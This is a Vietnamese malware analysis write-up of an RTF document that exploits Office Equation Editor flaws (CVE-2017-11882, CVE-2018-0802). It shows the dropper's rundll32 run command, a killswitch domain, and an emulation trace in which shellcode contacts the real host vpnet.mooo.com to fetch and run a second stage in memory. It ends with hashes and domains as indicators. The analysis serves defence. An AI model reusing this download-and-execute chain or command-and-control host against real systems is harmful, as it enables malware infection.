Phân tích mẫu mã độc khai thác lỗ hổng Microsoft Office Equation Editor.
Mở đầu
Gần đây, tôi có nhận được một mẫu mã độc mới c2ea07a400fb89b8f0f9551caa1e27599a4e4b94fde646f167c9e527e19d0fa7
Mẫu mã độc này sử dụng lỗ hổng của Microsoft Office Equation Editor (CVE-2017-11882, CVE-2018-0802).
Phân tích sơ bộ
Tôi sử dụng công cụ rtfobj để phân tích file RTF nhận được:
Như trong hình, chúng ta nhận thấy mẫu có nhúng một object Equation. Phân tích file RTF, chúng ta có thể nhận thấy đây là một mẫu mã độc khai thác lỗ hổng Microsoft Office Equation Editor (CVE-2017-11882, CVE-2018-0802). Các phân tích về lỗ hổng này rất nhiều, cách phân tích cũng chi tiết và tỷ mỉ nên tôi sẽ không nêu lại các bước phân tích đó ở đây. Tôi tóm tắt các hành vi độc hại như sau:
- Ứng dụng Microsoft Word mở file RTF, do đối tượng Equation được nhúng bên trong tài liệu nên
EQNEDT32.exe
sẽ được kích hoạt. - Lợi dụng lỗi của
EQNEDT32.exe
, 02 file sau được tạo ra trong thư mục%temp%
:8.t
vàadcache.dll
adcache.dll
chứa mã độc, được thực thi trong máy tính của nạn nhân.
Phân tích adcache.dll
Ứng dụng độc hại được chạy với lệnh như sau:
rundll32.exe %temp%\adcache.dll startwork
Hành vi của ứng dụng độc hại này khá đơn giản:
- Chạy và kiểm tra killswitch: nếu killswitch tồn tại thì thoát.
- Nếu killswitch không tồn tại: Kết nối về máy chủ điều khiển để tải mã độc khác về máy, thực thi trên memory của tiến trình
rundll32.exe
.
Tại thời điểm phân tích, killswitch đã được đăng kí
Domain Name: 123456ABCGSDWERE56463455345435435657222222.COM
Registry Domain ID: 2452360006_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.hostinger.com
Registrar URL: http://www.hostinger.com
Updated Date: 2019-11-07T07:48:02Z
Creation Date: 2019-11-07T07:48:01Z
Registry Expiry Date: 2020-11-07T07:48:01Z
Registrar: Hostinger, UAB
Registrar IANA ID: 1636
Registrar Abuse Contact Email: abuse@hostinger.com
Registrar Abuse Contact Phone: +37064503378
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: NS1.HOSTINGER.VN
Name Server: NS2.HOSTINGER.VN
Name Server: NS3.HOSTINGER.VN
Name Server: NS4.HOSTINGER.VN
Đây là địa chỉ được T0_ChukX
đăng kí. Thank T0_ChukX :+1:
Tiếp tục phân tích, có thể nhận ra rằng: khi không có killswitch, adcache.dll
sẽ decode một đoạn shellcode và thực thi, đoạn shellcode này khá ngắn nhưng không dễ đọc.
Tôi sử dụng Qiling - Advanced Binary Emulation framework để phân tích mã shellcode này. Tại thời điểm viết bài, framework cần implement thêm khá nhiều, tuy nhiên để phân tích các mẫu shellcode đơn giản thì tôi nghĩ là vừa đủ, chúng ta sẽ không cần trace thủ công hoặc monitor quá nhiều trong quá trình phân tích. Sau khi cài đặt, tôi sử dụng đoạn mã sau để thực hiện quá trình phân tích:
import sys
sys.path.append("/root/data/research/qiling")
from qiling import *
sc = open('adcache_shellcode.bin', 'rb').read()
ql = Qiling(shellcoder = sc, archtype = "x86", ostype = "windows", rootfs="rootfs/x86_windows", output = "debug")
ql.run()
Và đây là kết quả chạy:
[+] SET_THREAD_AREA selector : 0x73
[+] SET_THREAD_AREA selector : 0x7b
[+] SET_THREAD_AREA selector : 0x83
[+] SET_THREAD_AREA selector : 0x8b
[+] SET_THREAD_AREA selector : 0x90
[+] TEB addr is 0x6000
[+] PEB addr is 0x6044
[+] Loading ntdll.dll to 0x10000000
[+] Done with loading ntdll.dll
[+] Loading kernel32.dll to 0x10175000
[+] Done with loading kernel32.dll
[+] Loading user32.dll to 0x10285000
[+] Done with loading user32.dll
[+] Loading wininet.dll to 0x10379000
[+] Done with loading wininet.dll
0x101899bf: LoadLibraryA(lpLibFileName = "wininet") = 0x10379000
0x103a818e: InternetOpenA(lpszAgent = 0x0, dwAccessType = 0x0, lpszProxy = 0x0, lpszProxyBypass = 0x0, dwFlags = 0x0)
0x1039d9e9: InternetConnectA(hInternet = 0x103a818e, lpszServerName = "vpnet.mooo.com", nServerPort = 0x1bb, lpszUserName = 0x0, lpszPassword = 0x0, dwService = 0x3, dwFlags = 0x0, dwContext = 0x0)
0x1039dc7d: HttpOpenRequestA(hConnect = 0x1039d9e9, lpszVerb = 0x0, lpszObjectName = "/FrCa", lpszVersion = 0x0, lpszReferrer = 0x0, lplpszAcceptTypes = 0x0, dwFlags = 0x84c03200, dwContext = 0x0)
0x103905e8: InternetSetOptionA(hInternet = 0x1039dc7d, dwOption = 0x1f, lpBuffer = 0xfffdffec, dwBufferLength = 0x4)
0x1040a8f8: HttpSendRequestA(hRequest = 0x1039dc7d, lpszHeaders = "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENAU)
", dwHeadersLength = 0xffffffff, lpOptional = 0x0, dwOptionalLength = 0x0)
0x102a5a19: GetDesktopWindow()
0x1041c328: InternetErrorDlg(hWnd = 0x102a5a19, hRequest = 0x1039dc7d, dwError = 0x40138, dwFlags = 0x7, lppvData = 0x0)
0x10186856: VirtualAlloc(lpAddress = 0x0, dwSize = 0x400000, flAllocationType = 0x1000, flProtect = 0x40) = 0x500496c
0x10394406: InternetReadFile(hFile = 0x1039dc7d, lpBuffer = 0x500496c, dwNumberOfBytesToRead = 0x2000, lpdwNumberOfBytesRead = 0xfffdffe8) = 0x0
....
Dễ dàng nhận thấy, mã độc cố gắng kết nối về https://vpnet.mooo.com/FrCa
, để tải mã độc khác về máy. Tại thời điểm hiện tại, domain vpnet.mooo.com
không còn truy cập được nữa, nên tôi không thể phân tích thêm. Tôi tiếp tục sử dụng công cụ Viettel Threat Intelligence: https://cyberintel.io.
Tôi nhận thấy có nhiều IP liên quan tới domain này:
Tiếp tục phân tích theo chế độ graph của công cụ Viettel Threat Intelligence, chúng ta nhận thấy có một số domain khác cũng liên quan tới domain này như vpcpnet.mooo.com
. Tuy nhiên, phân tích các domain này nằm ngoài khuôn khổ bài viết, nên tôi sẽ trình bày trong một bài viết khác.
Kết luận
Mặc dù CVE-2017-11882, CVE-2018-0802 đã có bản vá đầy đủ từ Microsoft, nhưng do tính ổn định của các mã khai thác này, các tác giả viết mã độc vẫn tiếp tục sử dụng chúng trong các tấn công thực tế. Theo quan sát của tôi, trong tương lai gần, các mã tấn công này vẫn được sử dụng chính trong các cuộc tấn công mã độc.
Tài liệu tham khảo
- Another malicious document with CVE-2017–11882 - tác giả Kienm4n0w4r
IoC
RTF Document : c2ea07a400fb89b8f0f9551caa1e27599a4e4b94fde646f167c9e527e19d0fa7
adcache.dll: 337C45CD1A9395097E6D8EBC44DD22D9FB7C6BDE25CA8956FCF3E09EAF31797C
8.t: D447C9252D30F4C40485E4D17A9DAD6899CB55936F16009B4A4367BFA02BE8BA
Domain
:
, vpnet.mooo.com
vpcpnet.mooo.com